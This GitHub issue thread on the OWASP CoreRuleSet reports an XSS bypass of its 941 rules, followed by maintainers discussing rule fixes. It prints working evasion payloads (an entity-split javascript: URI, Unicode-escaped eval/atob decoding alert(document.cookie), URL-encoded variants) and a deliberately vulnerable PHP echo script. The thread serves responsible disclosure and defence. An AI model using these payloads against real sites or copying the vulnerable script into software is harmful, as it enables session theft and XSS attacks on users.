coreruleset
coreruleset copied to clipboard
XSS Bypass on the official CoreRuleSet rules (REQUEST-941-APPLICATION-ATTACK-XSS.conf)
Good morning, hope all is well.
I have came across a XSS Bypass while testing the ModSecurity CRS, the specific configuration file REQUEST-941-APPLICATION-ATTACK-XSS.conf is vulnerable to an XSS Bypass using unicode.
I have setup the CRS with the following configuration enabled in the /etc/apache2/mods-available/security2.conf
<IfModule security2_module>
SecDataDir /var/cache/modsecurity
IncludeOptional /etc/modsecurity/*.conf
IncludeOptional /usr/share/modsecurity-crs/coreruleset/crs-setup.conf
IncludeOptional /usr/share/modsecurity-crs/coreruleset/rules/*.conf
</IfModule>
As you can see it's including the CRS Directory which I have setup in /usr/share/modsecurity-crs/coreruleset/* and rules being in /rules/
Now there's a few things to note, hyper links were allowed so our official start was figuring out that was allowed.
<a href=https://www.google.com>click</a>
We knew it wouldn't be as easy as just inputting javascript:alert(document.cookie) but we tried and it got detected, as we thought.
We spent about 10 minutes looking at the tags, event handlers and methods allowed.
The first step to building a successful bypass was by getting the javascript: keyword to work, we came up with the following:
jav
ascript:
Note: In a few edited versions of CRS they block : so below we posted our Bypass for that instead of the one above.
Our payload so far:
<a href=jav
ascript:>XSS</a>
Although this was working we still needed to call something like alert() prompt() eval() etc etc.
So we decided to use Unicode which would encode the alert() to act as an obfuscation to avoid the WAF detection in the rule set.
We had doubts but when this worked we were shocked.
XSS:
<a href=jav
ascript:\u0061lert(document.domain)>XSS</a>
As you can see we're calling document.domain
Note: When using this for RXSS you must encode the payload using URL Encoding:
%3Ca%20href%3Djav%26%23x0D%3Bascript%26colon%3B%5Cu0061lert%26%23x28%3Bdocument.domain%26%23x29%3B%3EXSS%3C%2Fa%3E%20
Now we have the bypass constructed and working:

PHP script for the XSS:
<?php
$val = "1337";
setcookie("SESSID", $val, time()+3600, '/');
$x = $_GET['xss'];
echo($x);
?>
In a SXSS Case you don't need URL Encoding.
Now, we thought we'd be able to just call document.cookie, however, this was detected and blocked:

Searching why:

- This is suppose to reference that it's being blocked in the
ruleof course we didn't spend time searching for the actual part.
Bypass:
We're going to use eval() to call atob() which is a function to decode Base64 Values thus we can create a string which calls alert(document.cookie) and have atob() decode that base64 string in theory we should get the alert().
We of course realised eval() would be blocked and probably atob() was also blocked. So, we tried our trick of Unicode and well, we successfully bypassed this restriction to be able to call document.cookie:

Payload:
%3Ca%20href%3Djav%26%23x0D%3Bascript%26colon%3B%5Cu0065val(%5Cu0061tob(%22YWxlcnQoZG9jdW1lbnQuY29va2llKQ%3D%3D%22))%3B%3Exxx%3C%2Fa%3E
Decoded (for SXSS):
<a href=jav
ascript:\u0065val(\u0061tob("YWxlcnQoZG9jdW1lbnQuY29va2llKQ=="));>xxx</a>
Fix: Block Unicode chars in the rules.
If the above is already done then it may've been incorrectly added to the rule as the bypass above works on the latest version of coreruleset.
Thanks,
This is beautiful. Thank you.
Good job!
I cannot get payload fully working, it displays 'only' an empty alert box. Any hints? Firefox 99.0.
Please try Chrome or Edge // Opera.
Secondly, if you're trying document.cookie make sure there's a cookie in the stored memory else you'll get an empty alert box.
Lastly make sure you've not edited the configuration rules etc or changed anything, just git clone this repo, change the filenames etc from .example to .conf etc etc and then test.
If you continue to face issues please contact me on Twitter and then ill provide you with an email you can send the PoC to.
It may be a FF version issue, I hope not. My PoC is below.
https://user-images.githubusercontent.com/103416140/165257174-929b80f5-3776-4751-be04-5868b640e2d0.mp4
Thanks,
RiotSecurityTeam.
Thanks, now it works.
Thanks, now it works.
On your version of FF? I would just like to clarify it wasn't a browser issue but rather no cookies being stored in memory, I should've really started a session in the PHP Code but didn't think that was required. Thanks for informing me, I'll make a change soon.
- RiotSecurityTeam
It was a 'no cookies' issue. Tested with Firefox 99.0 on linux.
Thank you @RSTG0D for this beautiful bypass and for reporting it!
I had a look at the various inputs you provided and I think we should do the following things:
First, we should cover document.domain. Therefore I would like to extend the following rule that already covers document.write and document.cookie with the following: document.domain:
https://github.com/coreruleset/coreruleset/blob/v4.0/dev/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf#L208
Next, I think we should add atob() to the file where we already cover eval(). And this is PHP rule 933160 in the file https://github.com/coreruleset/coreruleset/blob/v4.0/dev/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf#L330 that is generated from the regex source file: https://github.com/coreruleset/coreruleset/blob/v4.0/dev/util/regexp-assemble/data/933160.data#L57
And finally I would like to cover the evasions:
I think the : in jav
ascript: is covered by the transformation htmlEntityDecode that we have in many of the 941 rules.
So I think we are talking about the unicode characters that you mentioned. We don't have a transformation function for that, but I found the following rule that tries to detect unicode in REQUEST_URI and REQUEST_BODY:
https://github.com/coreruleset/coreruleset/blob/v4.0/dev/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf#L457 with the following regex \%u[fF]{2}[0-9a-fA-F]{2}.
Do we want to add a similar, general rule for detecting other forms of unicode characters?? Or is this approach too general because unicode characters are legitimate. And we better enhance the 941 rules with detection of unicode characters inside the XSS strings??
Sounds good to me, I will try to bypass it once we confirm the updates etc. Example: \u0061lert( there's no need for a user to be parsing unicode and specifically things like alert() so I totally agree with the detection.
Thanks,
RiotSecurityTeam
Thank you for your feedback and for your offer to test again.
I'll propose 2 PRs.
One with the enhancement with document.domain and atob(), btoa(), alert() and another one with the detection of Unicode.
I think the
:injav
ascript:is covered by the transformation htmlEntityDecode that we have in many of the 941 rules.
That is not entirely correct, unfortunately. : is not covered (the numerical counterpart is). See https://github.com/SpiderLabs/ModSecurity/blob/4127c1bf52d2b30a5c2c3e641b8085fd9a720f43/src/actions/transformations/html_entity_decode.cc#L160.
Rule 920260 (unicode detection) won't help. It looks for the % character at the beginning of the sequence. The format is specific to IIS (or the underlying OS).
I think the
:injav
ascript:is covered by the transformation htmlEntityDecode that we have in many of the 941 rules.That is not entirely correct, unfortunately.
:is not covered (the numerical counterpart is). See https://github.com/SpiderLabs/ModSecurity/blob/4127c1bf52d2b30a5c2c3e641b8085fd9a720f43/src/actions/transformations/html_entity_decode.cc#L160.Rule 920260 (unicode detection) won't help. It looks for the
%character at the beginning of the sequence. The format is specific to IIS (or the underlying OS).
I did mention in my report : was not needed for this PoC, however, edited versions of OWASP CRS had implemented an attempt to block : which : bypassed. That's the reason I had mentioned it. As said, it's not apart of the bypass for OWASP CRS but in general, it's another bypass for edited versions.
This issue has been open 120 days with no activity. Remove the stale label or comment, or this will be closed in 14 days